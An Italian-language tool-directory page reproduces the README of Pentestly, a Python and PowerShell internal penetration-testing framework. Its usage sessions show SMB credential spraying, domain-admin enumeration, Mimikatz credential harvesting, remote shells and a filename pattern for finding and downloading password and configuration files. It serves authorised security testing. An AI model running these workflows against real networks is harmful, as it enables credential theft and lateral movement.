Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pentestly — Framework di penetration testing interno in Python e PowerShell | Kitploit
Strumenti/GitHubGitHub/praetorian-inc/pentestly
Frameworks per Penetration TestingEscalation di PrivilegiRicognizioneAttacchi alle PasswordExploitMovimento LateraleRaccolta InformazioniPost-ExploitPenetration TestingCommand and ControlRed TeamingArchived
72113710 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubpraetorian-inc/pentestly

pentestly

Framework di penetration testing interno in Python e PowerShell

Vedi Repository

Pentestly

Pentestly è una combinazione di strumenti Python in espansione per l'uso in test di penetrazione. L'obiettivo è utilizzare un'interfaccia utente familiare mentre si rendono facili i contributi al framework con la potenza di Python.

Blog post: Pentestly Framework: quando il pentesting incontra Python e Powershell

Autore: @ctfhacker / Cory Duplantis

Demo

asciicast

Funzionalità attuali

  • Importare XML di NMAP
  • Testare l'autenticazione SMB utilizzando:
    • credenziali individuali
    • file contenente credenziali
    • credenziali nulle
    • hash NTLM
  • Testare i privilegi di amministratore locale per l'autenticazione SMB riuscita
  • Identificare le condivisioni SMB leggibili per credenziali valide
  • Memorizzare i nomi degli account amministratore di dominio/azienda
  • Determinare la posizione dei processi di amministratore di dominio in esecuzione
  • Determinare i sistemi degli amministratori di dominio connessi
  • Eseguire comandi Powershell in memoria ed esfiltrare i risultati
  • Eseguire Mimikatz per raccogliere password in chiaro dalla memoria (Invoke-Mimikatz.ps1)
  • Ricevere una shell di comandi (Powercat)
  • Ricevere una sessione meterpreter (Invoke-Shellcode.ps1)

Spalle dei Giganti

Pentestly si basa sulle spalle dei giganti. Di seguito sono elencati gli strumenti attualmente utilizzati in Pentestly:

  • recon-ng - Database di backend per recon-ng è splendidamente realizzato e sfruttato in Pentestly per la manipolazione dei dati

  • wmiexec.py - Ci permette di eseguire comandi Powershell rapidamente e facilmente tramite WMI

  • smbmap.py - Utilità utile per enumerare le condivisioni SMB

  • Invoke-Mimikatz.ps1 - Implementazione di Mimikatz in Powershell

  • powercat.ps1 - Funzionalità simile a Netcat in Powershell

  • Invoke-Shellcode.ps1 - Distribuire Meterpreter in Powershell

  • CrackMapExec - Fonte di ispirazione per il semplice server Mimikatz in Pentestly

Installazione

root@kitploit:~
git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly

Utilizzo

Esaminiamo diverse funzioni attualmente implementate.

Cambiare workspace

root@kitploit:~
[pentestly][default] > workspaces list

  +------------+
  | Workspaces |
  +------------+
  | default    |
  +------------+

[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project

Caricare da nmap

root@kitploit:~
[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options

  Name      Current Value                      Required  Description
  --------  -------------                      --------  -----------
  FILENAME  /root/PROJECT/full-all-alive.xml  yes       Path and filename for nmap XML input

[pentestly][project][nmap_xml] > run

Testare i login

Usa file con credenziali per testare il login

root@kitploit:~
[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run

Usa un singolo nome utente e password

root@kitploit:~
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run

Usa credenziali su un piccolo sottoinsieme di IP es. sulla subnet 192.168.8.0/24 trovata nella tabella

root@kitploit:~
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'

Raccogliere amministratori di dominio e azienda

root@kitploit:~
[pentestly][project][login] > load get_domain # Nota la ricerca fuzzy - get_domain trova get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  default        yes       source of input (see 'show info' for details)

[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2

Eseguire mimikatz su IP con diritti di esecuzione

root@kitploit:~
[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
Select local interface for hosting scripts

0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1

[*] Execution creds: domain\Admin:[email protected]
[*] Success! Admin.DA:p@$$w0rd  - DOMAIN ADMIN!

Mostra amministratori locali

root@kitploit:~
[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run

+---------------------------------------------------------------------------------------------------------------+
|      host      | access |  username  |  password  | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 |        | nsportsman | password1! | zojix  |         |           | True    | True    | login  |
+---------------------------------------------------------------------------------------------------------------+

Mostra amministratori di dominio

root@kitploit:~
[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run

+--------------------------------------------------------------------------------------------------------------------------+
|      host      | access        | username  |  password       | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin  | TheRealDA | </l33TPassword> | zojix  |         |           | True    | True    | login  |
+--------------------------------------------------------------------------------------------------------------------------+

Enumshares

root@kitploit:~
[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})

Mostra nuove condivisioni

root@kitploit:~
[pentestly][default][interesting_files] > show pentestly_shares

+------------------------------------------------------------------------------------------------+
| rowid |       host      |    username   | readwrite |      readonly     | noaccess |   module   |
+-------------------------------------------------------------------------------------------------+
| 1     | 192.168.224.252 | Administrator |           | ADMIN$,C,C$,Users | IPC$     | enumshares |
+-------------------------------------------------------------------------------------------------+

Trova/Scarica file interessanti

root@kitploit:~
[pentestly][default][interesting_files] > show options

    Name     Current Value                                                                                                                              Required  Description
    -------  -------------                                                                                                                              --------  -----------
    PATTERN  (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$  yes       Regex pattern to look for in filenames
    SOURCE   default                                                                                                                                    yes       source of input (see 'show info' for details)

È possibile cambiare il pattern con qualcosa di più specializzato

root@kitploit:~
[pentestly][default][interesting_files] > set pattern important.txt|super_secret
PATTERN => important.txt|super_secret
[pentestly][default][interesting_files] > show options

    Name     Current Value               Required  Description
    -------  -------------               --------  -----------
    PATTERN  important.txt|super_secret  yes       Regex pattern to look for in filenames
    SOURCE   default                     yes       source of input (see 'show info' for details)

Esegue e scarica i file trovati

root@kitploit:~
[pentestly][default][interesting_files] > run
[*] Administrator
[*] Execution creds: workgroup\Administrator:[email protected]
[+] Match found! Downloading: Users\Administrator\Desktop\important.txt.txt
192.168.224.252-Users_Administrator_Desktop_important.txt.txt
[+] Match found! Downloading: Users\Administrator\Desktop\super_secret.txt
192.168.224.252-Users_Administrator_Desktop_super_secret.txt

Contribuire

Creare nuovi moduli è facile in Pentestly. Inizia con il codice fornito in skeleton.py:

root@kitploit:~
from libs.pentestlymodule import PentestlyModule

class Module(PentestlyModule):

    meta = {
        'name': 'Your module name goes here',
        'author': 'Developer name goes here',
        'description': 'Description of the module goes here',
        'query': 'SQL QUERY whose result is passed to your module',
        'options': (
            ('Option1', 'Default Value', Required-True/False, 'Description of option'),
        ),
    }

    def module_pre(self):
        # Optional
        # Happens before your module

    def module_run(self, data):
        # Required
        # data is the result from the SQL query set in the options
        
        ### Few magic functions
        # self.query - Perform an SQL query on the internal database
        results = self.query("select * from pentestly_creds")
        
        # self.output - print default information to the user
        self.output("Performed an SQL query")
        self.output(results)

        # self.alert - print successful message to the user
        self.success("Yay! We performed successful work")

    def module_post(self):
        # Optional
        # Happens after your module

I punti chiave sono compilare il dizionario meta con le informazioni corrispondenti e la funzione module_run per la funzionalità del modulo.

Questo script viene quindi inserito nella cartella modules/ o nella tua cartella personale ~/.pentestly/modules per portabilità.

Rimani sintonizzato per una spiegazione dettagliata di uno script di esempio nelle prossime settimane.

TODO

  • Implementare il modulo secretsdump.py
  • Aggiungere funzioni di utilità per query al database simili a creds, services
  • Rielaborare la funzione draw_table per avere colonne di larghezza fissa
  • Importare credenziali da Gladius
  • Implementare il modulo di ricerca e decrittazione delle password GPP
  • Valutare l'utilizzo di Invoke-Shellcode

Changelog

0.1.0 (2016-02-18)

Versione iniziale

Scarica lo strumento